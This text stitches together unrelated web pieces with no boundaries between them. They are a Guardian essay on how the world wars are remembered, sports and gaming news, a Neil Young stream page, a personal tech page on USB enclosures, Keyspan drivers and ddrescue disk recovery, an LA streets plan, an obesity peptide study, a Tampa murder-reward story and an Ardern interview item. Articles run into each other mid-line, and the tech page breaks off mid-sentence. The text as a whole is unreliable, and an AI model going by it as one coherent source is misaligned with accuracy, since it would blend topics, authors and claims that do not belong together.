Moments are still etched in the memory from a first viewing half a century ago. One thoughtful elderly man described the experience of serving in a firing squad, one of more than 300 that executed British soldiers for cowardice or desertion during that war. The rifles were prepared beforehand, half loaded with live ammunition and half with blank and then picked up randomly by solders in the squad. In theory this meant that no rifleman would know whether or not he had fired a bullet at the heart of a fellow soldier. But of course, this veteran said, in a voice impossible to forget, you knew perfectly well when you had fired a live round, because of the recoil.
That series had been preceded in 1963 by AJP Taylor’s rather vulgar book, The First World War: An Illustrated History, and Oh, What a Lovely War!, Joan Littlewood’s musical pasquinade. The latter, which used the songs the Tommies had sung in the trenches, drew on Alan Clark’s 1961 book The Donkeys – a largely fraudulent book, whose title derives from an invented quotation about “lions led by donkeys”, that nevertheless made a mark.
Now the perception of the Great War that had formed in the late 1920s was strengthened all over again. Working-class lads had been sent like sheep to the slaughter by brutal and stupid generals, callously indifferent to the suffering they inflicted, a theme played much later and with repellent facetiousness by Blackadder. The upper classes as a whole stood condemned for wanton bloodshed.
All this, the rediscovery of the horrors of the Great War after half a century, coincided – and may have been connected – with an evolved reception of the second world war. Of course that war loomed large in our lives, we who had been born in the years after it ended. It was hard to avoid in a London still pockmarked by bomb craters. In many ways we were suffused by “the war”, with rattling tales of derring-do by commandos and Desert Rats, while we made our model Spitfires, their top and bottom surfaces painted respectively in camouflage and duck-egg blue.
Although it was already thought in the 1950s that the second world war had been a decent one fought from high motives, it is hard to grasp today how little was made, in the 15 years following VE Day, of what now seems the defining event of that war – what wasn’t yet called the Holocaust. When the historian Raul Hilberg completed the first great work on the subject, The Destruction of the European Jews, in 1955, he had to wait until 1961 for a publisher to accept it.
That was the year of the trial of Adolf Eichmann in Israel, followed four years later by the Auschwitz trials in Frankfurt. In 1965, two years after his contemptuous First World War, AJP Taylor published the ostensibly serious, and bestselling, England 1914-1945. In his peroration, he spelled out that beatification of the victory in 1945: “No English soldier who rode with the tanks into liberated Belgium or saw the German murder camps at Dachau or Buchenwald could doubt that the war had been a noble crusade.”
By 1984, when the American broadcaster and writer Studs Terkel published an oral history of the conflict called The Good War, that very phrase had become so natural that Terkel could employ it with some degree of irony. Five years later the Berlin Wall came down, Soviet Russia imploded, and we were told that we could celebrate the End of History – in which the collapse of communism completed the work accomplished by that noble war.
* * *
Facebook Twitter Pinterest Red Army troops storming an apartment block in Stalingrad during the second world war. Photograph: Georgi Zelma/Getty Images
But all of this meant that the second world war was not only sacralised, it was sanitised and even softened, and that could only be done by forgetting much reality. For one thing, what was that “war”? The military historian Max Hastings has suggested that we should perhaps speak of the second world war not as “the war” but “the wars.” That could be expanded further.
From 1941 to 1945, two vast, historically decisive wars were fought, between Germany and Russia for mastery of eastern Europe, and between Japan and the United States for mastery of the western Pacific. Other countries played minor parts, ignominious in the case of Italy, admirable in the case of Great Britain, at any rate in 1940, when the British defied Hitler but could not possibly defeat him, until he solved the problem for them and brought about his own doom by invading Russia in June 1941 and then declaring war on the United States (and not the other way round, be it noted) in December.
Those two truly great wars – the Eastern Front and the Pacific – offer fascinating comparisons and contrasts. One was by far and away the mightiest land war ever seen, the other the greatest sea war. What they also had in common was that neither could possibly be called a “noble crusade”.
By its end, the best summary of the European war was Stalin’s. The old monster had a gift of phrase, and he got it right when he said, “England provided the time, America provided the money, and Russia provided the blood.”
The blood did indeed flow very freely in the east. Human life was always cheap in Russia, but never cheaper than “under socialism”. To be sure, the Red Army defeated the Third Reich on behalf of us all, but then the Russian army fought – or perhaps “was fought” – with a savage discipline and a total disregard for casualties that would have been impossible in a democracy, that helps explain why nine million Russian soldiers were killed.
Much has been made of the fact that during the Great War, more than 300 British soldiers were executed; they were somewhat pointlessly granted a posthumous pardon by the then defence secretary Des Browne in 2006. But who remembers the more than 300,000 Russian soldiers shot for cowardice in 1941-45, 12,500 of them at Stalingrad alone? As Marshal Zhukov said, with a touch of dry Bolshevik humour, it took a very brave man to be a coward in the Red Army.
When the Red Army reached Germany it celebrated victory with the worst act of mass rape in history
Although the western allies talked of fighting for democracy, National Socialist Germany and Soviet Socialist Russia were both bestial tyrannies that fought with total barbarism. The Germans butchered Jews wherever they went, and when the Red Army reached Germany it celebrated victory with the worst act of mass rape in history.
And that other mighty war – the one fought in the Pacific? Much of the story of our time can be understood in terms of what the former Italian prime minister Giovanni Giolitti once called the “beautiful national legends” that sustain a country. Almost all of the countries that took part in the second world war constructed their own legends after the fact. The most brilliant of these was surely Charles de Gaulle’s preposterous but healing myth that, apart from a handful of traitors, the French people had all been resistants at heart.
But the most subtle, and most consequential, rewriting of the war was the one conducted in America – so subtle indeed that most people are unaware of it. The US journalist Dwight Macdonald famously opposed the war, but even those who disagree with that position would find it hard to deny that the running commentary he produced on its conduct was consistently illuminating. “Not the least ironical aspect of this most ironical of wars,” he wrote in early 1945, was the fact that “the war in the Pacific has always been more popular with all classes of Americans than the war in Europe.” That was entirely true, and has been almost entirely forgotten. For most of the time from December 1941 to August 1945, for most Americans, “the war” meant the war against Japan, a war that in hindsight is hard to endow with high moral purpose.
As Macdonald said, even critics like himself recognised that in Europe “fascism was the most terrible enemy. But the war in the Pacific is a straight imperialist conflict of the classic old pattern”. The Japanese had no right to be in the Philippines or Malaya or Java. But what right did the Americans or British or Dutch? More than that, the Americans were inflamed by a racial hatred of the Japanese. This was given bizarre voice by Paul McNutt, President Roosevelt’s manpower commissioner, who advocated “the extermination of the Japanese in toto”, and practical expression by the obliteration of Hiroshima and Nagasaki.
But perceptions of the war changed as their focus shifted westward: Churchill’s Second World War, which sold in vast numbers in America, gives an utterly distorted picture with its Anglocentric (and egocentric) perspective, almost ignoring the Pacific war and the eastern front as well. But it proved convenient for Americans as well as the British. Churchill’s misleading implication that Roosevelt and his people were all along eager for war with Nazi Germany, and his fantasy about an Anglo-American “special relationship”, allowed Americans to believe that the war was all about defeating Hitler – and about saving his victims. The growing importance of the Holocaust in American Life, as the late historian Peter Novick titled his book on the subject, only made it easier for Americans to see the second world war as a black-and-white moral fable – rendered literally so in the films of Steven Spielberg.
As only a few critics noted at the time of its release in 1993, Schindler’s List presents a version of the second world war that is historically and ethically misleading. “Only Steve could make a movie about the Holocaust in which no Jews are killed,” Stanley Kubrick said. Jason Epstein, writing in the New York Review of Books, showed how questionable it was to make a hero out of a figure as ambiguous as Oskar Schindler, and to tell a heartwarming story of a few thousand saved rather than the millions murdered.
One man who claimed to be profoundly affected by the film – in a way that may even have changed history – was Tony Blair, who saw the movie just before he became Labour leader in 1994. “I was spellbound throughout the whole three and a quarter hours,” he said. “We sat through it, missed our dinner, and talked about it long into the night.”
What Blair drew from the film was a moral, that there can be no “bystanders” in any conflict between good and evil: “You participate, like it or not. You take sides by inaction as much as by action … Not very practical is it, as a reaction? The trouble is it’s how I feel,” he said. “Whether such reactions are wise in someone charged with leading a country is another matter” – which seems a fair question.
He would say later that “you go back to the 30s, to the start of the persecution of the Jewish people, the murders and the wholesale plunder of their wealth and you think these things were there in 1935, 1934 even, and it was only in 1939 that they got round to doing something. They said this has got to be stopped. I think there are some interesting reflections on all that.”
So there are, if not perhaps the reflections he intends. Great Britain did not, of course, go to war in 1939 to save the Jews from persecution, and if that had been the purpose, we would not have succeeded. On the other hand, if the lesson of the Shoah and the second world war was that we must “participate, like it or not,” then it would seem in seriousness that this cult of the Good War has continued to have dreadful consequences in our own day.
That is an extreme case of misreading the second world war – and ennobling “good wars”. What, above all, characterised the 1939-45 war was the fact that so many more civilians than soldiers were killed, something that should have a special resonance in Britain – because the most distinctive British contribution to the war was the bombing that destroyed the cities of Germany and killed hundreds of thousands, mostly women and children. By some counts, those civilians outnumbered the British servicemen who died.
In December 1914, German warships bombarded Scarborough on the North Yorkshire coast, killing a number of civilians. Churchill denounced the German navy, saying that “the stigma of the baby killers of Scarborough will brand its officers and men while sailors sail the sea”. What was he branded with 30 years later, when 100,000 German children had been killed by RAF Bomber Command?
Our generation is exceptionally ill-placed to deride or condemn those who fought in the Great War
Not only is our reverence for the “good war” a sentimental misprision, our generation is exceptionally ill-placed to deride or condemn those who fought in the Great War. This is a worse than usual case of the condescension of posterity. The idea that the upper class sacrificed the sons of the poor is plainly untrue. A junior officer on the western front was three times more likely to be killed than a private soldier, and the 21,000 British dead on 1 July 1916, the first day of the Somme, included 30 officers of the rank of lieutenant colonel or above.
One little-remembered detail of the Great War is that between 1914 and 1918 no fewer than 22 sitting members of parliament were killed in action – a fraction of the MPs who served. There were 85 sons of MPs killed, including the eldest son of Herbert Asquith, the Liberal prime minister when the war began, and two sons of Andrew Bonar Law, the Tory leader of the opposition.
It is almost too easy – though not unfair – to compare this record to that of the governments that have launched our more recent good wars, beginning with the 2003 invasion of Iraq, in which no minister of any rank would dream of volunteering. Nor, as far as I know, have any of the journalists who cheered those wars followed the example of CE Montague and joined up themselves.
At the time of the Iraq war, many seemed to be deluded by the idea that we couldn’t be bystanders and “must participate”, to the point they failed to see the true way in which an Iraq war would resemble the “good” second world war rather then the “bad” first world war. The overwhelming majority of those killed in Iraq since 2003 have been civilians, many of them killed by western bombing.
Maybe there is no such thing as a good war, but there may be necessary wars, and a case can be made for 1914 as well as 1939, which cannot be said of our latest wars. What passing-bells for the Iraqis who die as cattle? No, our generation had best stand silent as we remember the days when our rulers were at least prepared to die in the wars they began.
Follow the Long Read on Twitter: @gdnlongread
Geoffrey Wheatcroft is the author of Yo, Blair! and the Strange Death of Tory England
• This article was amended on 10 December 2014 to correct a line from Laurence Binyon’s poem, For the Fallen. It has been corrected to say: “shall grow not old as we that are left grow old”.Getty Images
The Patriots apparently are giving tight end Rob Gronkowski a few million reasons to dance with his shirt off.
A league source tells PFT that the Patriots and Gronkowski have reached agreement on a contract that would replace the final two seasons of his rookie deal. A second-round pick in 2010, Gronkowski is due to earn $540,000 in 2012 and $575,000 in 2013.
His agent, Drew Rosenhaus, denies that a deal has been reached.
Gronkowski, who slid to round two due to a back injury that wiped out his final season at Arizona, set single-season records for tight ends with 1,327 receiving yards and 17 receiving touchdowns. He added an 18th touchdown on a two-yard run.
As a rookie, Gronkowski scored 10 touchdowns and generated 546 receiving yards.
He continues to recover from a badly-sprained ankle suffered during the AFC title game. Though Gronkowski was able to play in the Super Bowl, he has surgery within a week after the game.
Terms of the agreement aren’t known. Under the pre-2011 CBA, rookie deals may be renegotiated after two years. As of 2011, rookie contracts cannot be re-done until the player has three years of service.Unlike Street Fighter 5, Wii U fighting game Pokkén Tournament punishes rage quitters.
Not only that, the game asks you not to rage quit before you venture online - via a stern message delivered by an anime character.
When you first venture online, Nia, your in-game trainer, issues a warning:
How could anyone rage quit after such a warning!
Well, you can, of course. This is where Pokkén Tournament takes action. Quit out of a match early and you're docked Poké Gold, the in-game currency used to buy cosmetic items.
See, Capcom! It's not hard, is it? As for Street Fighter 5, Capcom's said it's working on adding a punishment feature to the game. In the meantime, it reset the League Points of 30 players it found to be rage quitting, including one Japanese player who battled back to the top of the online rankings after Capcom stripped him of his League Points.Welcome to Rust Radio! Rust Radio streams recordings of Neil Young concerts. You can tune in 24/7 to listen to shows ranging from the late 1960s up to the last tour. Take a trip through the past decades and listen to hundreds of concerts. Solo acoustic shows, Crazy Horse rock shows, CSNY stadium shows, obscure unannounced gigs, rockabilly, Bridge School Benefits, blues, electronic rock: if Neil Young was there, Rust Radio plays it. Latest news 2013-05-24 : Having trouble tuning into Rust Radio? Please, let us know!
2013-04-29 : Internet Explorer 10 is now also supported.
2013-04-26 : New website! Streaming 24/7!
Schedule These shows are coming up (the times are in your timezone) : 01:09 Köln, Germany (Neil Young w/ Crazy Horse) 03:27 Glasgow, Scotland (Neil Young w/ Crazy Horse) 05:15 Frankfurt, Germany (Neil Young w/ Crazy Horse) 07:17 Klam, Austria (Neil Young w/ Promise Of The Real) 09:44 Dublin, Ireland (Neil Young w/ Crazy Horse)
History Rust Radio has been broadcasting since 2003. For 10 years the stream played from Friday afternoon until Monday morning. As of 2013 the radio is online 24/7. Work in progress: Statistics. This section will show weekly statistics.
Technology Rust Radio encodes an archive of FLAC files into MP3 and Ogg/Vorbis streams that are broadcast to SHOUTcast and Icecast servers. You can listen to Rust Radio right here in your browser. Just hit the TUNE IN! button on top of the page. You need a relatively new browser for the in-browser player. We recommend Chrome, Firefox or Safari. (And if you insist on using Internet Explorer, use version 9 or newer!) If you want to listen to Rust Radio in your media player (like iTunes, Windows Media Player, WinAMP..), use one of the following URLs: http://rustradio.org:8000
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Ogg/Vorbis streamUSB "External Hard Drive Enclosure" may not provide enough power
It doesn't work for me. Perhaps it's that my hard drives tend to be large, but the 3.5" drives that I have require more power than the wall-wart power supply can provide. When I put a 250GB drive in it, for example, the drive would start to spin up for about half a second, then quit. Then start to spin up, then quit. It would do this as long as I would let it (which wasn't long, since I figured it was straining something). Cleverly, the power supplied by the enclosure is not spec'd in its manual. The wall-wart says it provides 1.5A at 12V. Some of that will clearly be used for the 5V supply to the disk.
I did find a 160GB 3.5" drive that works in it. But what a pain to have some drives work and some drives fail, depending on the fine print on the drives. This particular USB drive enclosure isn't worth the cheap $40 I paid for it.
Here's another few reports of the same problem. Motto: Check the power supply of the power brick and the disk drive before buying one an "external enclosure", especially a cheap brand.
UPDATE (December 2005): These external hard drive enclosures also don't supply enough cooling, if you're going to use the drive extensively. I ran a pair of 400GB drives for months in these enclosures, which have no fans, and made them seek pretty hard by mirroring other web sites using slow but highly parallel wget's. I ran them vertically to help their heat dissipation, but that wasn't enough. Eventually the drives started failing, returning unreadable sectors that stayed unreadable even after the drives cooled. These cheap consumer products aren't really designed for serious professional work. Look for one that has a fan!
Keyspan USB serial port with "Linux support" unfree; use Prolific's instead UPDATE (10 Oct 2005): I've found a company selling a good Linux-supported USB to serial adapter: Prolific (tech.prolific.com.tw). Their PL-2303 USB 1.1 to Serial Bridge Controller chip is fully supported by a free Linux device driver. Their web site even publishes the driver, and a user guide for Linux users. (Though they are clueless enough to do their site navigation with idiotic Javascript buttons rather than links, so I can't give you a URL for the right page; and they distribute their Linux users' guide as a Microsoft Windows.doc file inside a Zip file). This chip is in various products, such as the IOGear USB to Serial Adapter, model GUC232A. This product costs $34 and is available as CompUSA SKU #50177640). I recommend briefly forgiving them for the MS-Word manual, and buying their product, rather than the proprietary and inferior Keyspan product.
I foolishly bought the Keyspan USA-19HS in August 2005, because I was impressed that the company had even *heard of* Linux and included it on its packaging. However, what the package said was "Linux: Supported. Please visit website for details."
After buying it, I went to the web site, and its Linux page hasn't been updated since 2003. There's nothing about the USA-19HS model that I bought (and which seems to be the only model currently for sale).
I tried plugging it in anyway. Debian's Sarge 2.6.11 kernel doesn't recognize the device. Nothing created the device nodes for it. The keyspan web site doesn't say how to create device nodes -- it has a long song-and-dance about how newbies can run scripts under Linux, but never provides the &%&$^# script that you need to run!
So I fell back on Google. And discovered that there's been a big tempest over the binary firmware that's in the driver module. It's not released under the GNU General Public License like the rest of the driver (for no obvious reason -- any real competitor could reverse-engineer it without trouble, so this just causes pain for the product's users). The result is that Debian won't put it into their release, because they actually care whether their release contains free software or not. The code appears to have been relegated to a package called "kernel-source-nonfree-2.6.11_2.6.11-1_i386" and "kernel-nonfree-modules-2.6.11-[kerneltype]" (or something like that). So far, I haven't been able to find clear documentation on how I might get such non-free modules with apt-get (it doesn't work for me). It's not clear to me that I want to run non-free software anyway; I've long made a point of owning no Microsoft or other proprietary software.
Google also showed me a page at keyspan.com that actually does tell you how to manually create the relevant device nodes. This page is foolishly not linked from the main Linux support page, which is why I needed Google to find it for me. This page is: http://www.keyspan.com/support/linux/LinuxReadMe.html. Creating the device nodes doesn't help, though, since I don't have the driver.
Would Keyspan consider releasing its firmware under the Gnu General Public License, or under an X or BSD-style license? The GNU license would protect you best from competitors; if they use it, they have to distribute the sources themselves (and you can sue them if they don't), and if they improve it, they have to release the source of the changes, which you are then free to use in your own products.
I don't know that there are many competitors in the USB-to-serial market who are unable to write their own firmware. What problem is Keyspan protecting itself from?
I got no response at all from Keyspan to the above message -- and got derision from Greg KH, the kernel driver maintainer who put this non-free code into the stock Linux kernel sources. He said:
This is due to Debian's issues, nothing that I, as the kernel driver maintainer can do about that. Perhaps you should switch to a different distro? :) Anyway, this was brought up about 5 years ago on debian-legal. Back then I proposed a solution for this (move the firmware to userspace which would solve all of the issues) and asked for a patch. I have yet to receive it...
If I felt like supporting this company, I'd spend a couple days and reverse-engineer the damn thing myself. But I don't feel like encouraging people to buy this product from this company. I'd rather keep looking for a company whose products have free software drivers. And a company that answers emails sent to the email address listed in their web site for Linux support questions.
DAT (digital audio tape) drive software to read and write audio tapes Computers have used DAT drives for backup for years. Initially these drives did not read or write DAT audio tapes (the application for which the format was invented). SGI (Silicon Graphics) eventually caused firmware to be created for a few DAT drives so they could read and write audio DAT tapes, making SGI's workstations useful for professional audio editing. Since then, this firmware has fallen into disrepair (neither SGI nor the manufacturers of the drives will support it -- while both claiming that the other one is the problem). An active community of users is now spreading the firmware around and helping each other to read and write their audio tapes.
An influential piece of software that uses such drives on Solaris and Linux is called DATlib. The last known version I found links to was called DATlib-0.81.tar.gz, but all the links were dead. When I couldn't find any versions of it on the net in October 2005, I emailed Marcus Meissner, its author, who is now working with SuSE. He pointed me to http://www.lst.de/~mm/datlib.tgz, and I have mirrored a copy of datlib.tgz here as well. It unpacks as "DATlib-current", with the latest change in the archive made on September 30, 1997. It refers to itself as DATlib-0.7. This version does not have Linux support -- it is for Solaris (SunOS 5.5). There's a good summary of the firmware's early history in its README.datlib.
Presumably the 0.81 version was a Linux port done by someone. An earlier version of this page appealed to anyone to send me a copy; Lamar Owen responded with copies of DATlib-0.81.tar.gz and DATlib-0.81-wh0.2.tar.gz (which unpacks to DATlib-0.81-wh0.1, not wh0.2). I believe that the standard Linux kernel's SCSI tape driver supports these audio drives, if you set the density to 0x80 ("mt setdensity 128" or "mt setdensity 0x80"). If you try this code on a modern Linux system, please let me know how it works, and send any relevant patches to gnu@datlib.toad.com. Debian Sarge Source Code DVDs via "trackerless" BitTorrent UPDATE: I offered these for a few months, but nobody ever accessed them. I couldn't even access them myself, from elsewhere on the Internet. After talking with Bram, who says trackerless torrents don't really work due to too many broken (non-official-BT) trackerless peers, I've stopped offering these trackerless torrents. But for history's sake, here's the original notice: The Debian release now takes 15 (fifteen!) CDs to hold its source code. The sources fit on only three DVD's, though. For some reason, at cdimage.debian.org, you can get the source code DVDs via "Jigdo" but not via BitTorrent. I got them via Jigdo and am offering them up via BitTorrent. debian-31r0a-source-1.iso.torrent (352K torrent for 4.4GB file) debian-31r0a-source-2.iso.torrent (352K torrent for 4.4GB file) debian-31r0a-source-3.iso.torrent ( 20K torrent for 0.2GB file) I'm using "trackerless" Torrent files, which is a feature of the 4.1.x and 4.2.x and 4.3.x releases of BitTorrent. Get a stable or newer beta version of BitTorrent from www.bittorrent.com; it's got a decent GUI and many other improvements besides trackerless operation.
These Torrents probably won't work with most implementations of BitTorrent, since only a few of them have implemented trackerless support. Encourage your BT client supplier to implement it -- trackerless operation eliminates one point of control which can be used for censoring particular uses of BitTorrent. Meanwhile, use the official implementation, at least for these and other Trackerless torrents.
Don't put these Torrents (or the.iso images) in the same directory as copies of the Debian Sarge Source CDs, if you have them. Unfortunately the three DVDs' ISO images have the exact same names as the first three CDs' ISO images. But of course the CD images and the DVD images are very different (600MB versus 4.4GB).
Disk drive recovery: ddrescue, dd_rescue, dd_rhelp If you have a disk drive with errors on it, that you'd like to be able to read the recoverable data from, GNU ddrescue is your best friend.
It is modeled after the two preceding programs, dd_rescue (with an underbar), and dd_rhelp. But GNU ddrescue it's far better than both -- I've tried all three, on the same drive, as well as trying to use plain old "dd". You should skip my learning process and just head straight for the best way, which is GNU ddrescue. I'll tell you about it.
So, a brief tutorial on things I learned about copying disk drives. "dd" will make a copy of a disk drive with errors, if you set "conv=noerror" so it will keep going after errors. The catch is that it just *removes* the erroneous sectors from its output, as if they didn't exist, which totally screws up the file system image. Fsck will tell you just how unhappy it is with such an image; it's unrecoverable without massive manual work, shifting big blocks of data around. Instead, you can use "dd conv=noerror,sync" which will write an output record (zeros) even if the input record has an error. You had better do this on single disk sectors, thus "dd bs=512 conv=noerror,sync". If you use a larger blocksize (read multiple disk sectors) at once, the first one that has an error will stop the read, and what will get written out will be zeroes for not only the bad sector, but for all subsequent sectors in that block.
"dd bs=512 conv=noerror,sync" works, but has many drawbacks. It's slow even on the error-free stuff since it's doing tiny reads and writes. It spends a lot of time chewing through the erroneous parts of the drive, rather than reading as much error-free stuff as it can, THEN going back to do the hard stuff. (When your drive is crapping out, it has a tendency to die the big death at any moment. You'd like to get as much info off it as possible before that happens. One example is if small particles of stuff are rattling around inside the drive; they make more and more errors, as you run the drive. Sometimes, putting the drive in the freezer for a few hours, in a ziploc bag to keep the moisture off, will revive it briefly; electronics work better at low temperatures than when they get hot.)
Kurt Garloff's dd_rescue was the first attempt to improve on this. It reads and copies bigger blocks until it sees an error, then slows down and goes back, and reads single sectors. After a while it speeds up again. It can also read backward, and can quit after it gets some specified number of errors. It keeps a 3-line display updated in your text window so you can see what it's doing. If you run it simply, it just does what "dd bs=64k" does until it sees an error, then backs up and does "dd bs=512". If it gets an error reading a sector, it doesn't write to that sector of the output file, but it skips past it to write the next good one, so everything stays in sync. It seeks the input and output in parallel so it makes an exact copy of the parts that it can read.
LAB Valentin's dd_rhelp. is a complex shell script that runs dd_rescue many times, trying to be strategic about copying the drive. It copies forward until it gets errors, then jumps forward by a big jump looking for either the end of the drive, or more easy-to-read stuff. Once it finds the end of the drive, then it starts working backward, trying to close up the "hole" that it hasn't read yet. As it encounters errors, it skips around looking for more error-free parts of the drive. It only reads each sector once. It reads the logfile output of dd_rescue to see what happened and to figure out what to do next.
One problem with dd_rhelp is that it's a shell script, so it's really slow and consumes massive resources. On one of my drives that had about 2900 bad sectors on it, dd_rhelp would waste upwards of 15 minutes deciding what blocks to tell dd_rescue to try reading next. During that time it makes about 100 new Unix processes every second.
Antonio Diaz Diaz's GNU ddrescue learned from these experiences. It combines both dd_rescue's ability to read big blocks and then shift gears, with dd_rhelp's ability to remember what parts of the disk have been looked at already. It keeps this info in a really simple logfile format, and keeps it updated every 30 seconds, or whenever it stops or is interrupted. It's written in C++ and it's small and fast.
It starts off running like "dd", blasting through large error-free areas. When it gets an error, it writes out any partial data that it received during that read, and KEEPS GOING to the next big block. It notes in the logfile that a bunch of sectors (the first erroneous one, plus whatever ones followed it in the multi-sector read) were skipped. And keeps going. So it reads through the entire disk in big blocks first. Then it goes back to "split" the skipped parts, trying to read each sector individually. The compact logfile always shows which chunks of disk have been read OK, have been read with errors, have been read one sector at a time with errors, or have never been read yet.
One catch about GNU ddrescue is that the author has some strange ideas about what "ought to" be in the C++ library. So in the current version (1.1), you'll be lucky to get it to compile without errors. All the errors are minor, and are not in key parts of the software, so you can dike them out if you need to. Sometime soon I'll make some nice clean patches for these parts, and submit them, but it's been this way for a year and people complain about this every month on the bug-ddrescue mailing list, and the maintainer doesn't fix it, so I'm not optimistic that the patches will be accepted. But use his software anyway; other than this quirk, it's really nice.
As an aside, it takes a lot of time and screen space for the kernel to log all the error messages from when you're reading from a failing disk drive. The messages also tend to screw up the screen that you're trying to work in. To speed up the logging, you can edit /etc/syslog.conf and insert a "-" before "/var/log/messages", then restart the syslog daemon. This tells syslog to not do an "fsync" after every log message it writes out. If you crash you'll be missing the last few messages, but if you don't crash you'll run about eight times as fast. Also, to make it stop printing those messages on your console, you have to edit the arguments to the "klogd" daemon, which is usually started by the same script that starts the syslog daemon (/etc/init.d/syslog). On my Red Hat 7.3 system, you can edit /etc |
making Los Angeles's streets—"our largest public asset," Mayor Garcetti writes in the report—generally awesomer and safer for people using all modes of transport, and dovetailing with the mayor's big-deal Great Streets Program. Called "Great Streets for Los Angeles," the report outlines a series of goals for making better LA streets—the street system accounts for 15 percent of LA's land area, it notes, and Garcetti writes that "We need them to also foster community by providing places to gather and enjoy." One of the major aims, the Daily News points out, is to eliminate all pedestrian deaths by 2025. (In 2012, nearly 80 pedestrians were killed in collisions with cars; that's 40 percent of all deaths from traffic crashes, according to the report.) There are a lot of other big goals in the report (like the one to make every street redesign safer), but there are also a lot of more immediate plans; we've combed through for eight of the coolest changes we could see hit the streets over the next several years.
· No more insane-o, towering parking signs. Great Streets is looking to "develop [a] clearer parking sign system for easier interpretation by motorists" that will also include standardization of signage.
· A seven-year "rolling meter upgrade cycle" to keep up with the latest parking meter technology.
· A crackdown on the jerks who misuse disabled placards to park for free at meters.
· Re-time 400 crosswalk signals a year, to make it so that people have enough time to cross the street.
· Order all new DASH buses with bike racks and have 75 new DASH buses with racks on the road by 2017.
· Take LA ExpressPark to Venice by 2017; the parking program keeps tabs on where spaces are available and adjusts prices according to availability, and has been a success in Downtown already.
· Add benches, trees, better sidewalks at high-volume bus stops that are in need of such additions. There are also plans to install real-time arrival information at a handful of stops.
· Expand the hail-a-cab program, which allows people to hail taxis on the street rather than having to wait at a taxi stand, to four more pilot business districts across the city.
· Great Streets for Los Angeles [Scribd]
· The First 15 LA Streets Getting Big Great Streets Makeovers [Curbed LA]
· Great Streets [Curbed LA]US researchers have ’cured’ obesity in mice by injecting them with a synthetic peptide that simultaneously mimics two naturally occurring hormones. The weight loss in the mice has been described as ’staggering’, and opens the prospect for the development of a drug treatment for obesity in humans - something that has so far proved elusive.
The synthetic molecule possesses key features of two natural peptide hormones, glucagon and glucagon-like peptide-1 (GLP-1), which are involved in regulating glucose metabolism and appetite control. When injected into obese mice, after one week the animals’ body weights had decreased by 25 per cent and their body fat by 42 per cent. Repeated treatment resulted in greater effect.
While both peptides are known to suppress appetite, glucagon has the effect of raising blood glucose while GLP-1 lowers glucose in the blood. The researchers, led by Richard DiMarchi of Indiana University, postulated that if both hormones were administered at the same time, the risk of glucagon dangerously elevating blood glucose levels could be negated by the effect of GLP-1.
The two peptides are similar but differ in a few crucial aspects. The research team engineered a new peptide that retained the key features of each. They had to introduce a cyclic amide functionality in the peptide chain to stabilise its helical structure, and they bolted a huge polyethylene glycol group onto the molecule to prevent it from being filtered away by the kidneys. ’We found that if you make a few judicious modifications in the molecule you get a hormone that has full potency at both the glucagon receptor and GLP receptor,’ says DiMarchi. ’We did not have to dumb the molecule down at all to make it a co-agonist - it was fully functional at both receptors.’
When the drug was injected into obese mice, massive weight loss was observed. ’Over a period of four weeks you can see these animals, which are about double normal size, return to their normal phenotype,’ DiMarchi says. ’This is absolutely spectacular.’
Further investigation showed that the GLP component of the drug was mainly suppressing appetite, while the glucagon was working to stimulate the burning of calories. DiMarchi says that it remains uncertain whether both these mechanisms would be seen in primates, but that it is ’something we are committed to finding out.’
Terry Herbert, who researches the role of GLP-1 in diabetes at the University of Leicester in the UK, says that the US researchers’ construction of the peptide hormone with dual activity is ’a technical tour de force in itself.’ Herbert adds, ’This is potentially very exciting. The idea that a single dose of a peptide could lead to this incredible weight loss is staggering.’ However, a lot more work is required to discover if similar benefits can be seen in humans, and to assess possible side-effects, Herbert says.
Simon HadlingtonTimes Staff Writers
TAMPA The McDonalds worker who turned in a gun that led to the arrest of Howell Emanuel Donaldson III in the Seminole Heights serial killings will receive "every penny" of the $110,000 reward, Tampas police chief said Friday.
It will take time, Chief Brian Dugan said, but Delonda Walker will be rewarded for her efforts.
Mayor Bob Buckhorn said she does not want attention and did not tip off police for the money.
"We would not be here today with this killer in custody if it werent for the courage of one individual who just happened to be working at a local McDonalds," Buckhorn said.
He read a statement from Walker, who said she wanted to do the right thing.
"Receiving a reward never entered my mind," she said. "Looking back, Im grateful to know I was assisting law enforcement."
Police said Donaldson, 24, gave his co-worker a food bag Tuesday containing a.40-caliber Glock before leaving to visit an Amscot. When Walker realized what was inside, she told a police officer who happened to be in the restaurant.
Donaldson faces four counts of murder in the deaths of Benjamin Mitchell, 22; Monica Hoffa, 32; Anthony Naiboa, 20; and Ronald Felton, 60.
RELATED: State Attorney: Man accused in Seminole Heights killings could face death
Hoffas relatives attended the news conference and stood with the mayor and police chief.
Yury Gutierrez, Hoffas cousin, thanked police, the Seminole Heights community and Walker.
"Our words cannot express the gratitude we have for her," Gutierrez said. "Shes a peaceful person. You just feel the humbleness from her."
The search for Monicas killer was difficult on the family, especially during Thanksgiving.
"Monica sat with us at the table every year, and she sat next to me every year," Yury Gutierrez said as tears started to form in her eyes and her voice started to become weak. "Its been hard. With Christmas, its not going to be the same, but this will help us get through it."
Hoffas mother, Olga Lavandeira, communicated through sign language that she was happy Walker stepped forward.
"Now Monica can rest in piece," Lavandeira communicated.
On Thursday afternoon, Hoffas father, Kenny, went to the McDonalds to thank Walker in person.
Later that evening, Casimar Naiboa, father of victim Anthony Naiboa, said he and his family finally got a chance to meet Walker.
"We hugged her and told her she is our hero," Naiboa said.
Family members wore T-shirts with Anthonys picture.
When Naiboa and his family arrived at the McDonalds to thank Walker, she wasnt there. But her co-workers recognized the family and contacted Walker, who showed up about a half-hour later.
Other workers, whose names he did not get, said they thought that Donaldson could be the man seen in the videos released by police, but were unsure.
"They told me they thought they might be thinking too much," said Naiboa.
Walker, he said, described Donaldson as "weird.
"She told us he never talked to anyone but her," said Naiboa.
At first, Walker didnt know the extent of what she had done, said Naiboa.
She didnt realize until several hours later, when media began to show up, that the man with the gun was thought to be connected to the Seminole Heights killings.
Contact Jonathan Capriel at [email protected] Follow @jonathancapriel.There are certain things, as proper etiquette, you may not ask a woman: her chest size, her weight, and her pregnancy plans. It seems like common sense, but I guess sometimes men need reminding.
Jacinda Ardern is a newly elected 37-year-old politician in New Zealand and she is the youngest ever leader for the New Zealand Labour Party. Of all the questions that Ardern has faced, this one seemed the most absurd. While appearing on radio talk show, The AM Show, Ardern was asked by male host Mark Richardson of her pregnancy plans. Ardern was asked live on air if she plans on becoming a mother during her time in parliament. Richardson based his questioning stating he thinks it’s a legitimate question to ask on behalf of New Zealand because she could potentially become their Prime Minister.
